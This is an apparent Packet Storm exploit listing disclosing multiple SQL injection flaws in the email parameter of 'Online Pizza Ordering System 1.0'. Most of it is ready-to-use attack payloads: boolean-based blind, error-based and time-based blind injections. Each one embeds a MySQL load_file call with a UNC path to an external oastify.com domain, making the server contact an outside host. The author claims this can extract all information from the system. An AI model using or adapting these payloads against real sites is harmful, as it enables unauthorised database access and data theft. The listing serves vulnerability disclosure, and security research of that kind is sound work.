Lucene search

K
packetstormNu11secur1tyPACKETSTORM:178987
HistoryJun 07, 2024 - 12:00 a.m.

Online Pizza Ordering System 1.0 SQL Injection

2024-06-0700:00:00
nu11secur1ty
packetstormsecurity.com
80
sql injection
vulnerability
web security
exploits
mysql
file path
external domain

7.4 High

AI Score

Confidence

Low

`## Titles: opos-1.0 Multiple SQLi  
## Author: nu11secur1ty  
## Date: 06/07/2024  
## Vendor: https://github.com/oretnom23  
## Software:  
https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The email parameter appears to be vulnerable to SQL injection attacks. The  
payload '+(select load_file('\\\\  
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+' was submitted  
in the email parameter. This payload injects a SQL sub-query that calls  
MySQL's load_file function with a UNC file path that references a URL on an  
external domain. The application interacted with that domain, indicating  
that the injected SQL query was executed. The attacker can get all  
information from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
  
---  
Parameter: email (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload:  
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=  
[email protected]'+(select load_file('\\\\  
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND  
9762=9762 AND 'REtq'='REtq&password=e7E!x2k!U6  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload:  
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=  
[email protected]'+(select load_file('\\\\  
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND (SELECT  
3595 FROM(SELECT COUNT(*),CONCAT(0x7176766a71,(SELECT  
(ELT(3595=3595,1))),0x71716b7671,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND  
'Gtza'='Gtza&password=e7E!x2k!U6  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload:  
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=  
[email protected]'+(select load_file('\\\\  
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND (SELECT  
3908 FROM (SELECT(SLEEP(7)))ddOC) AND 'ECyu'='ECyu&password=e7E!x2k!U6  
---  
```  
  
## Reproduce:  
[href](https://www.patreon.com/posts/opos-1-0-sqli-105752878)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/06/opos-10-multiple-sqli.html)  
  
## Time spent:  
00:19:00  
  
  
`

7.4 High

AI Score

Confidence

Low